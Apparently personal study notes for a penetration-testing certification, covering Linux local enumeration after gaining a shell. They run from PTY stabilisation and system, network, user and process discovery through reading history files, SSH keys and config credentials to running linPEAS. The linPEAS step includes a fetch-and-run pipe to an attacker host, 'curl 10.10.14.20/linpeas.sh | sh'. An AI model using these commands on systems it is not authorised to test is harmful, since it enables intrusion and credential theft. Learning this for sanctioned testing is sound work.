Local Enumeration
CPTS Notes
- Foundations
- Enumeration with Nmap
- Passwords
- Wordlists
- Cracking
- Protected Files
- Spraying and Defaults
- Hunting (Windows)
- Hunting (Linux)
- Hunting (Shares)
- Hunting (Traffic)
- Looting (Windows)
- Looting (Linux)
- File Services
- FTP
- SMB
- NFS
- Rsync
- Network
- DNS
- SNMP
- SMTP
- Mail Retrieval
- Cloud Mail
- Databases
- MySQL
- MSSQL
- Remote Access
- SSH
- R-Services
- RDP
- WinRM
- WMI
- Linux
- Reading Files
- Editing Files
- Searching Files
- Requests and Transfer
- Local Enumeration
- Privesc Primer
- File Transfer
- Choosing a Method
- Serving Files
- Windows Transfers
- Linux Transfers
- Code One-Liners
- Session Transfers
- Protected Transfers
- Detection & Evasion
- Windows
- Reading Files
- Editing Files
- Searching Files
- Requests and Transfer
- Local Enumeration
- Privesc Primer
- Reference
- Port References
- DNS Resolution
- The Mail Pipeline
- SMB & NetBIOS
Stabilise the shell first. Then collect identity, network, users, processes, software, and readable files, in that order. Run an enumeration script after the manual pass and check its findings by hand. Privesc Primer covers what to do with the results.
Stabilise the shell
Spawn a PTY with Python:
python3 -c 'import pty; pty.spawn("/bin/bash")' # spawn a bash PTYIf Python is missing, use script:
script /dev/null -c bash # spawn a bash PTY without PythonBackground the shell with Ctrl+Z, then set your own terminal to raw mode and bring the shell back:
stty raw -echo; fg # raw mode, then foreground the shellraw passes every key through to the remote shell, so Ctrl+C and tab completion work there. -echo stops your terminal from printing each key twice.
On the target, set the terminal type and size:
export TERM=xterm # terminal typestty rows 50 cols 200 # terminal sizeRead the correct numbers from a local terminal:
stty size # rows, then columnsWho and where
Current user, UID, and groups:
id # user, UID, and groupswhoami # user name onlyHost name:
hostname # host nameKernel version and architecture:
uname -a # kernel version and architectureDistribution and release:
cat /etc/os-release # distribution and releaseKernel version and the compiler that built it:
cat /proc/version # kernel version and compilerNetwork
Interfaces and addresses:
ip a # interfaces and addressesifconfig # same, net-toolsA host with two or more interfaces on different subnets is dual-homed. Note it as a pivot into the second network.
Routing table:
ip r # routing tableroute -n # routing table, numeric addressesListening ports and the process behind each:
ss -tulpn # listening ports and their processesnetstat -tulpn # same, net-tools| Flag | Meaning |
|---|---|
-t |
TCP sockets |
-u |
UDP sockets |
-l |
Listening sockets only |
-p |
Process that owns each socket |
-n |
Numeric ports and addresses, no name lookups |
-p shows only your own processes unless you are root.
A service that listens on
127.0.0.1only is not reachable from outside. Reach it from the box or forward the port to it (Privesc Primer). Local databases, admin panels, and internal web apps are pivot and privesc targets.
ARP cache, the hosts this box talked to recently:
ip neigh # ARP cachearp -a # ARP cache, BSD-style formatLocal name entries and DNS servers:
cat /etc/hosts # local name entriescat /etc/resolv.conf # DNS serversExtra entries in /etc/hosts name internal hosts and domains. An internal DNS server points to an internal network.
Users and groups
Users with a login shell:
grep 'sh$' /etc/passwd # users with a login shellAll groups and their members:
cat /etc/group # groups and membersNote membership in groups such as sudo, wheel, adm, docker, lxd, and disk.
Home directories:
ls -la /home # home directoriesUsers logged in now, and what they run:
w # logged-in users and what they runwho # logged-in usersRecent logins from /var/log/wtmp:
last # recent loginsLast login of every account:
lastlog # last login of every accountSome newer distributions ship lastlog2 in its place.
Processes and services
All processes of all users:
ps aux # all processes of all users| Flag | Meaning |
|---|---|
a |
Processes of all users |
u |
User-oriented format: owner, CPU, memory, start time |
x |
Processes without a terminal, such as daemons |
Process tree:
ps -ef --forest # process tree| Flag | Meaning |
|---|---|
-e |
Every process |
-f |
Full format, with the full command line |
--forest |
Draws parent and child processes as a tree |
Look for processes that run as root and command lines that hold passwords.
Running services:
systemctl list-units --type=service --state=running # running services--type=service lists only service units. --state=running lists only the running ones.
Timers, the systemd form of scheduled jobs:
systemctl list-timers # systemd timersCron jobs on disk:
cat /etc/crontab # system crontabls -la /etc/cron.* # cron job directoriesShort-lived processes, such as cron jobs that run as root, do not stay in ps output long enough to see. pspy watches for new processes without root. Get the binary onto the box (see Linux Transfers), then run it:
chmod +x pspy64 # make it executable./pspy64 # watch for new processesLet it run for a few minutes. -f also prints file system events, and -i <ms> sets the scan interval. Use pspy32 on 32-bit hosts.
Software and versions
Installed packages, Debian family and Red Hat family:
dpkg -l # installed packages, Debian familyrpm -qa # installed packages, Red Hat familySudo version:
sudo -V # sudo version, on the first lineOld versions have public exploits.
Tools available for later steps:
which gcc python3 perl nc socat curl wget # tools available for later stepsVersion of a binary that looks custom or out of date:
<binary> --version # version of one binaryMounted filesystems and free space:
mount # mounted filesystemsdf -h # free space, human-readable sizesFilesystems set to mount at boot:
cat /etc/fstab # filesystems mounted at boot
/etc/fstabcan hold credentials for network shares (username=,password=, or acredentials=file).
Block devices, including disks that are not mounted:
lsblk # block devices, mounted or notFiles worth reading
List a folder with hidden files and human sizes, or a whole tree:
ls -lah # long form, hidden files, human sizesls -R /etc # every subfolder, recursiveShell history of the current user and others:
cat ~/.bash_history # current user's historyls -la /home/*/.*history /root/.*history 2>/dev/null # history files of other usersSSH keys and authorised keys:
ls -la ~/.ssh /home/*/.ssh /root/.ssh 2>/dev/null # SSH keys and authorised keysA readable id_rsa or id_ed25519 is a login as that user. See SSH.
Web roots:
ls -la /var/www # web rootsApplication config files often hold database passwords: wp-config.php, config.php, .env, settings.py, web.config. Searching Files covers how to search for them.
Environment variables of the current shell:
env # environment variablesLook for tokens, passwords, and unusual PATH entries.
Automated scripts
Run a script after the manual pass. Linux Transfers covers how to get it onto the box. Write output to /dev/shm, a memory-backed directory that most users can write to.
linPEAS, saved to a file:
chmod +x linpeas.sh # make it executable./linpeas.sh > /dev/shm/linpeas.txt # run it and save the outputless -r /dev/shm/linpeas.txt # read the output with colourslinPEAS marks its strongest findings in red on a yellow background.
linPEAS run from your HTTP server without touching disk:
curl 10.10.14.20/linpeas.sh | sh # fetch and run in memory| Flag | Meaning |
|---|---|
-a |
All checks, including a one-minute process watch and an su brute force with the top 2000 passwords |
-e |
Extra checks that are off by default |
-s |
Stealth: skips slow checks and writes nothing to disk |
-q |
No banner |
-atries passwords against every user withsu. It is slow and can lock accounts.
./LinEnum.sh -t -r linenum -e /dev/shm # thorough tests, report in /dev/shm| Flag | Meaning |
|---|---|
-t |
Thorough (slower) tests |
-r |
Report name |
-e |
Export location |
-k |
Keyword to search for in config and log files |
lse.sh (Linux Smart Enumeration):
./lse.sh -l 1 -i # interesting results, no password prompt| Flag | Meaning |
|---|---|
-l 0 |
Highly important results only (default) |
-l 1 |
Interesting results |
-l 2 |
All gathered information |
-i |
Non-interactive: does not ask for the user’s password |
The scripts miss things and report false positives, such as kernel exploits for a patched kernel. Check each lead by hand before you act on it.
Checklist
- Shell stabilised: PTY,
TERM, raw mode, rows and columns. -
id, hostname, kernel, and distribution noted. - Interfaces, routes, and second subnets noted.
- Listening ports checked, especially services on
127.0.0.1. -
/etc/hostsand DNS servers read. - Users with a shell, group memberships, and home directories listed.
- Root processes, services, timers, and cron jobs checked. pspy run.
- Packages, sudo version, available tools, and mounts noted.
- History files,
.sshdirectories, web roots, config files, andenvread. - linPEAS, LinEnum, or lse.sh run and its findings checked by hand.